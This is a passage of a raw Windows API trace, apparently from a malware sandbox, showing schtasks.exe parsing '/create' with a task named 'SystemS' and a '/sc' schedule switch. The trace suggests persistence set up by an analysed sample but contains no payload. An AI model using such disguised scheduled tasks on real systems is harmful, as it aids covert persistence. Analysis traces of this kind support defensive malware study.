_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.676] GetProcessHeap () returned 0x1eb77c10000 [0127.676] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x16) returned 0x1eb77c1a900 [0127.676] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.676] _memicmp (_Buf1=0x1eb77c13950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.676] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1eb77c19a50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0127.676] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x8f10f2c908 | out: lpdwHandle=0x8f10f2c908) returned 0x76c [0127.676] GetProcessHeap () returned 0x1eb77c10000 [0127.676] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x776) returned 0x1eb77c1bd00 [0127.677] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1eb77c1bd00 | out: lpData=0x1eb77c1bd00) returned 1 [0127.677] VerQueryValueW (in: pBlock=0x1eb77c1bd00, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x8f10f2c8a0, puLen=0x8f10f2c900 | out: lplpBuffer=0x8f10f2c8a0*=0x1eb77c1c0b0, puLen=0x8f10f2c900) returned 1 [0127.677] _memicmp (_Buf1=0x1eb77c13950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.677] _vsnwprintf (in: _Buffer=0x1eb77c19a50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x8f10f2c878 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0127.677] VerQueryValueW (in: pBlock=0x1eb77c1bd00, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x8f10f2c890, puLen=0x8f10f2c8f8 | out: lplpBuffer=0x8f10f2c890*=0x1eb77c1bee0, puLen=0x8f10f2c8f8) returned 1 [0127.677] lstrlenW (lpString="schtasks.exe") returned 12 [0127.677] lstrlenW (lpString="schtasks.exe") returned 12 [0127.677] lstrlenW (lpString=".EXE") returned 4 [0127.677] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0127.677] lstrlenW (lpString="schtasks.exe") returned 12 [0127.677] lstrlenW (lpString=".EXE") returned 4 [0127.677] lstrlenW (lpString="schtasks") returned 8 [0127.677] lstrlenW (lpString="/create") returned 7 [0127.677] _memicmp (_Buf1=0x1eb77c13950, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.677] _vsnwprintf (in: _Buffer=0x1eb77c19a50, _BufferCount=0x19, _Format="%s %s", _ArgList=0x8f10f2c878 | out: _Buffer="schtasks /create") returned 16 [0127.677] _memicmp (_Buf1=0x1eb77c14730, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.677] GetProcessHeap () returned 0x1eb77c10000 [0127.677] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x20) returned 0x1eb77c1b650 [0127.678] _memicmp (_Buf1=0x1eb77c13f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.678] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1eb77c1ba80, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0127.678] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0127.678] GetProcessHeap () returned 0x1eb77c10000 [0127.678] RtlAllocateHeap (HeapHandle=0x1eb77c10000, Flags=0xc, Size=0x30) returned 0x1eb77c13c50 [0127.678] _vsnwprintf (in: _Buffer=0x1eb77c14260, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x8f10f2c878 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0127.678] GetProcessHeap () returned 0x1eb77c10000 [0127.678] GetProcessHeap () returned 0x1eb77c10000 [0127.678] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1bd00) returned 1 [0127.678] GetProcessHeap () returned 0x1eb77c10000 [0127.678] RtlSizeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, MemoryPointer=0x1eb77c1bd00) returned 0x776 [0127.678] RtlFreeHeap (HeapHandle=0x1eb77c10000, Flags=0x0, BaseAddress=0x1eb77c1bd00) returned 1 [0127.679] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="create") returned 6 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="?") returned 1 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="s") returned 1 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="u") returned 1 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="p") returned 1 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="ru") returned 2 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="rp") returned 2 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="sc") returned 2 [0127.679] GetThreadLocale () returned 0x409 [0127.679] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.679] lstrlenW (lpString="mo") returned 2 [0127.679] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="d") returned 1 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="m") returned 1 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="i") returned 1 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="tn") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="tr") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="st") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="sd") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="ed") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="it") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.680] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.680] lstrlenW (lpString="et") returned 2 [0127.680] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="k") returned 1 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="du") returned 2 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="ri") returned 2 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="z") returned 1 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="f") returned 1 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="v1") returned 2 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="xml") returned 3 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="ec") returned 2 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="rl") returned 2 [0127.681] GetThreadLocale () returned 0x409 [0127.681] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.681] lstrlenW (lpString="delay") returned 5 [0127.682] GetThreadLocale () returned 0x409 [0127.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.682] lstrlenW (lpString="np") returned 2 [0127.682] GetThreadLocale () returned 0x409 [0127.682] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0127.682] lstrlenW (lpString="hresult") returned 7 [0127.682] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.682] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.682] lstrlenW (lpString="/create") returned 7 [0127.682] lstrlenW (lpString="-/") returned 2 [0127.682] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.682] lstrlenW (lpString="create") returned 6 [0127.682] lstrlenW (lpString="create") returned 6 [0127.682] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.682] lstrlenW (lpString="create") returned 6 [0127.682] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.682] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.682] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.682] lstrlenW (lpString="|create|") returned 8 [0127.682] lstrlenW (lpString="|create|") returned 8 [0127.682] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0127.682] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.682] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.682] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.682] lstrlenW (lpString="/tn") returned 3 [0127.682] lstrlenW (lpString="-/") returned 2 [0127.682] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.682] lstrlenW (lpString="create") returned 6 [0127.683] lstrlenW (lpString="create") returned 6 [0127.683] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.683] lstrlenW (lpString="tn") returned 2 [0127.683] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.683] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.683] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.683] lstrlenW (lpString="|create|") returned 8 [0127.683] lstrlenW (lpString="|tn|") returned 4 [0127.683] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0127.683] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.683] lstrlenW (lpString="?") returned 1 [0127.683] lstrlenW (lpString="?") returned 1 [0127.683] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.683] lstrlenW (lpString="tn") returned 2 [0127.683] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.683] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|?|") returned 3 [0127.683] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.683] lstrlenW (lpString="|?|") returned 3 [0127.683] lstrlenW (lpString="|tn|") returned 4 [0127.683] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.683] lstrlenW (lpString="s") returned 1 [0127.683] lstrlenW (lpString="s") returned 1 [0127.683] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.683] lstrlenW (lpString="tn") returned 2 [0127.683] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.684] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|s|") returned 3 [0127.684] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.684] lstrlenW (lpString="|s|") returned 3 [0127.684] lstrlenW (lpString="|tn|") returned 4 [0127.684] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.684] lstrlenW (lpString="u") returned 1 [0127.690] lstrlenW (lpString="u") returned 1 [0127.690] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.690] lstrlenW (lpString="tn") returned 2 [0127.690] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.690] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|u|") returned 3 [0127.690] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.690] lstrlenW (lpString="|u|") returned 3 [0127.690] lstrlenW (lpString="|tn|") returned 4 [0127.690] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.690] lstrlenW (lpString="p") returned 1 [0127.690] lstrlenW (lpString="p") returned 1 [0127.690] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.690] lstrlenW (lpString="tn") returned 2 [0127.691] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.691] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|p|") returned 3 [0127.691] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.691] lstrlenW (lpString="|p|") returned 3 [0127.691] lstrlenW (lpString="|tn|") returned 4 [0127.691] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.691] lstrlenW (lpString="ru") returned 2 [0127.691] lstrlenW (lpString="ru") returned 2 [0127.691] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.691] lstrlenW (lpString="tn") returned 2 [0127.691] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.691] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ru|") returned 4 [0127.691] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.691] lstrlenW (lpString="|ru|") returned 4 [0127.691] lstrlenW (lpString="|tn|") returned 4 [0127.691] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0127.691] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.691] lstrlenW (lpString="rp") returned 2 [0127.691] lstrlenW (lpString="rp") returned 2 [0127.691] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.691] lstrlenW (lpString="tn") returned 2 [0127.691] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.691] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|rp|") returned 4 [0127.691] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.691] lstrlenW (lpString="|rp|") returned 4 [0127.692] lstrlenW (lpString="|tn|") returned 4 [0127.692] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0127.692] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.692] lstrlenW (lpString="sc") returned 2 [0127.692] lstrlenW (lpString="sc") returned 2 [0127.692] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.692] lstrlenW (lpString="tn") returned 2 [0127.692] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.692] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.692] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.692] lstrlenW (lpString="|sc|") returned 4 [0127.692] lstrlenW (lpString="|tn|") returned 4 [0127.692] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0127.692] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.692] lstrlenW (lpString="mo") returned 2 [0127.692] lstrlenW (lpString="mo") returned 2 [0127.692] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.692] lstrlenW (lpString="tn") returned 2 [0127.692] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.692] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.692] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.692] lstrlenW (lpString="|mo|") returned 4 [0127.692] lstrlenW (lpString="|tn|") returned 4 [0127.692] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0127.692] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.692] lstrlenW (lpString="d") returned 1 [0127.692] lstrlenW (lpString="d") returned 1 [0127.693] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.693] lstrlenW (lpString="tn") returned 2 [0127.693] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.693] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|d|") returned 3 [0127.693] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.693] lstrlenW (lpString="|d|") returned 3 [0127.693] lstrlenW (lpString="|tn|") returned 4 [0127.693] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.693] lstrlenW (lpString="m") returned 1 [0127.693] lstrlenW (lpString="m") returned 1 [0127.693] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.693] lstrlenW (lpString="tn") returned 2 [0127.693] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.693] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|m|") returned 3 [0127.693] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.693] lstrlenW (lpString="|m|") returned 3 [0127.693] lstrlenW (lpString="|tn|") returned 4 [0127.693] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.693] lstrlenW (lpString="i") returned 1 [0127.693] lstrlenW (lpString="i") returned 1 [0127.693] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.693] lstrlenW (lpString="tn") returned 2 [0127.693] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.693] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|i|") returned 3 [0127.693] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.693] lstrlenW (lpString="|i|") returned 3 [0127.694] lstrlenW (lpString="|tn|") returned 4 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] lstrlenW (lpString="tn") returned 2 [0127.694] lstrlenW (lpString="tn") returned 2 [0127.694] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.694] lstrlenW (lpString="tn") returned 2 [0127.694] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.694] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.694] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.694] lstrlenW (lpString="|tn|") returned 4 [0127.694] lstrlenW (lpString="|tn|") returned 4 [0127.694] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] lstrlenW (lpString="SystemS") returned 7 [0127.694] lstrlenW (lpString="-/") returned 2 [0127.694] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] lstrlenW (lpString="SystemS") returned 7 [0127.694] StrChrIW (lpStart="SystemS", wMatch=0x3a) returned 0x0 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] lstrlenW (lpString="SystemS") returned 7 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.694] lstrlenW (lpString="/sc") returned 3 [0127.694] lstrlenW (lpString="-/") returned 2 [0127.694] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.695] lstrlenW (lpString="create") returned 6 [0127.695] lstrlenW (lpString="create") returned 6 [0127.695] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.695] lstrlenW (lpString="sc") returned 2 [0127.695] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.695] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.695] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.695] lstrlenW (lpString="|create|") returned 8 [0127.695] lstrlenW (lpString="|sc|") returned 4 [0127.695] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0127.695] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.695] lstrlenW (lpString="?") returned 1 [0127.695] lstrlenW (lpString="?") returned 1 [0127.695] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.695] lstrlenW (lpString="sc") returned 2 [0127.695] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.695] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|?|") returned 3 [0127.695] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.695] lstrlenW (lpString="|?|") returned 3 [0127.695] lstrlenW (lpString="|sc|") returned 4 [0127.695] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.695] lstrlenW (lpString="s") returned 1 [0127.695] lstrlenW (lpString="s") returned 1 [0127.695] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.695] lstrlenW (lpString="sc") returned 2 [0127.695] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.696] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|s|") returned 3 [0127.696] _vsnwprintf (in: _Buffer=0x1eb77c14350, 